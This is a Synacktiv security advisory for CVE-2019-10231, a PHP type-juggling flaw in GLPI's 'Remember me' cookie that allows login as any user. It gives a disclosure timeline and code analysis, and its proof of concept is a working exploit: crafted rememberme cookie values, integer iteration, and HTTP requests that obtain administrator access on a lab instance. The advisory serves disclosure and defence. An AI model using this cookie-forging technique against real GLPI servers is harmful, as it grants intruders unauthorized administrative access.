SYNACKTIV
DIGITAL SECURITY

Type juggling authentication bypass in GLPI <= 9.4.1.1 CVE-2019-10231

Security advisory

2019-04-23

Julien SZLAMOWICZ
Damien PICARD

Vulnerability description

Presentation of *GLPI*

"GLPI ITSM is a software for business powered by open source technologies. Take control over your IT infrastruction: assets inventory, tickets, MDM."[1]

The issue

Synacktiv discovered that the GLPI *Remember me* feature does not implement strong PHP comparisons and can thus be abused **to authenticate as any user without password**.

Affected versions

The following versions are known to be affected:

- Branch 9.4: < 9.4.1.1
- Branch 9.3: < 9.3.4

Timeline

Date	Action
2019-02-25	Advisory sent to *GLPI Project* (glpi-security@ow2.org)
2019-03-15	Vendor releases the version 9.4.1.1 resolving the issue for the branch 9.4.X
2019-04-11	Vendor releases the version 9.3.4 resolving the issue for the branch 9.3.X

1 https://glpi-project.org/

Technical description and proof-of-concept

Authentication is required to access the features of the application using a set of credentials (username and password). However, bypassing the authentication is possible. An arbitrary identity can therefore be obtained.

In the current context, the vulnerability lies in the *Remember me* feature that can be abused to authenticate as an arbitrary user depending on a few conditions.

Indeed, the application retrieves the *rememberme* cookie if provided by the user in the function *getAlternateAuthSystemsUserLogin* of the *inc/auth.class.php* script. This cookie has the following structure:

```
<session_cookie_name>_rememberme=[<user_id>,<personal_token_hash>]
```

The different values are:

- *session_cookie_name*: the actual session cookie name which follows the basic structure:

```
glpi_<session_identifier>
```

- *user_id*: the user identifier to authenticate
- *personal_token_hash*

For recently connected users, a value is stored in the *personal_token* column in the database. A hash of this value is expected here.

Then the following code snippet is called with *cookie_name* being the *rememberme* cookie:

```
if ($CFG_GLPI["login_remember_time"]) {
   $data = json_decode($_COOKIE[$cookie_name], true);
   if (count($data) === 2) {
      list ($cookie_id, $cookie_token) = $data;
```

After ensuring the *login_remember_time* is set in the configuration (which is the case by default) the application uses *json_decode* on the provided cookie.

In the next lines, the application verifies that the obtained array has 2 elements and stores these elements in 2 variables:

- *cookie_id*
- *cookie_token*

The use of *json_decode* lets the user decide of the type and content of both variables.

Let's consider the next code snippet:

```
$user = new User();
$user->getFromDB($cookie_id);
$token = $user->getAuthToken();
if ($token !== false && Auth::checkPassword($token, $cookie_token)) {
   $this->user->fields['name'] = $user->fields['name'];
   return true;
} else {
   $this->addToError(__("Invalid cookie data"));
}
```

In the 2nd line, the application loads a *User* object in the *user* variable based on the provided *cookie_id*. Then it retrieves the *personal_token* for this user and stores it in the *token* variable.

It should be noted that the first part of the *if* condition always returns true if the user exists. Indeed, if no *personal_token* is set for the provided user, a new one is issued by the *getAuthToken* function.

Therefore, the *Auth::checkPassword* function is always called if the user exists:

```
static function checkPassword($pass, $hash) {
  $tmp = password_get_info($hash);
```

```
  if (isset($tmp['algo']) && $tmp['algo']) {
     $ok = password_verify($pass, $hash);
  } else if (strlen($hash)==32) {
     $ok = md5($pass) == $hash;
  } else if (strlen($hash)==40) {
     $ok = sha1($pass) == $hash;
  } else {
     $salt = substr($hash, 0, 8);
     $ok = ($salt.sha1($salt.$pass) == $hash);
  }
  return $ok;
}
```

The user can choose the algorithm used to authenticate him through the provided *cookie_token*. The vulnerable case is the default one used if no algorithm matches:

```
$salt = substr($hash, 0, 8);
$ok = ($salt.sha1($salt.$pass) == $hash);
```

Since the *hash* value and type are user controlled, passing a numeric value such as 0 in the cookie would result as:

- *substr(number,0,8)* returns the first eight digits of the number as a string

The condition evaluates:

```
$ok = ($hash.sha1($hash.$pass) == $hash);
```

In PHP, the loose comparison of a string with an integer will shorten *$salt.sha1($salt.$pass)* to its longest digit-only prefix and compare it with *$hash* which is an integer.

For example, the following comparison returns *true*:

```
“123a123” == 123
```

Meaning that if *sha1(substr($hash, 0, 8).$pass)* starts with a letter, it will lead to evaluate:

```
string($hash . <sha1_starting_with_a_letter>) == int($hash)
```

Which is, under those conditions, equivalent to comparing:

```
$hash == $hash
```

Probability of a computed *sha1* with the user input starting with a letter is 6/16, which is very likely to happen. Furthermore, it is possible to iterate over integers until the condition is met, triggering a successful authentication.

As an example for our test instance it is possible to connect as the *glpi* administrator user. For better understanding, the database entry for this user contains:

```
MariaDB [glpi]> select id,name,personal_token from glpi_users;
|  2 | glpi      | 3LwjvojsaYpBSNTMMxQ8FMI9BQqrbGTpvkpgZZij |
```

Let’s consider the following HTTP request:

```
GET /front/login.php HTTP/1.1
Host: glpi.lab.synacktiv.com
Cookies:
glpi_0212c7703564e40d8dded2a951a0791f=uenknsh8ae3nnvheb7l0o912q7;glpi_0212c7703564e40d8dded
2a951a0791f_rememberme=[2,0]
```

As can be seen, we try to authenticate as user identified by 2 (*glpi*) using the *rememberme* feature.

Walking through the code, the following steps happen:

```
$salt = substr($hash=0, 0, 8);
```

Thus, the *$salt* is equal to the string “0”. The comparison then becomes:

```
$ok = (“0”.sha1(“0”.”3LwjvojsaYpBSNTMMxQ8FMI9BQqrbGTpvkpgZZij”) == 0);
```

Taking a look at the *sha1* result:

```
php > print(sha1("0"."3LwjvojsaYpBSNTMMxQ8FMI9BQqrbGTpvkpgZZij"));
2455e713eeff2f3ffd28b43d0a840d74060e9f47
```

The condition is not met due to the *sha1* value starting with a digit. Consequently, the server refuses the connection:

```
HTTP/1.1 200 OK
[…]
<div class="center b">Invalid cookie data<br>Empty login or password<br><br>
[…]
```

However, iterating through a few integers, it is possible to find a value that meets the conditions. For instance, considering 3 as a cookie value, the *sha1* hash becomes:

```
php > print(sha1("3"."3LwjvojsaYpBSNTMMxQ8FMI9BQqrbGTpvkpgZZij"));
d577e896f1ed8b01f965077dabe0c08d93cf3695
```

In this case, the computed hash starts with a letter. Making the comparison return *true*:

```
“3d577e896f1ed8b01f965077dabe0c08d93cf3695” == 3
```

As a result, let’s consider the following request:

```
GET /front/login.php HTTP/1.1
Host: glpi.lab.synacktiv.com
Cookies:
glpi_0212c7703564e40d8dded2a951a0791f=uenknsh8ae3nnvheb7l0o912q7;glpi_0212c7703564e40d8dded
2a951a0791f_rememberme=[2,3]
```

This time, the server answers:

```
HTTP/1.1 302 Found
Set-Cookie: glpi_0212c7703564e40d8dded2a951a0791f=qkmebfm4atv696mp3sk4jd3ko0; path=/
Location: /front/central.php
```

We are now authenticated as the *glpi* administrator.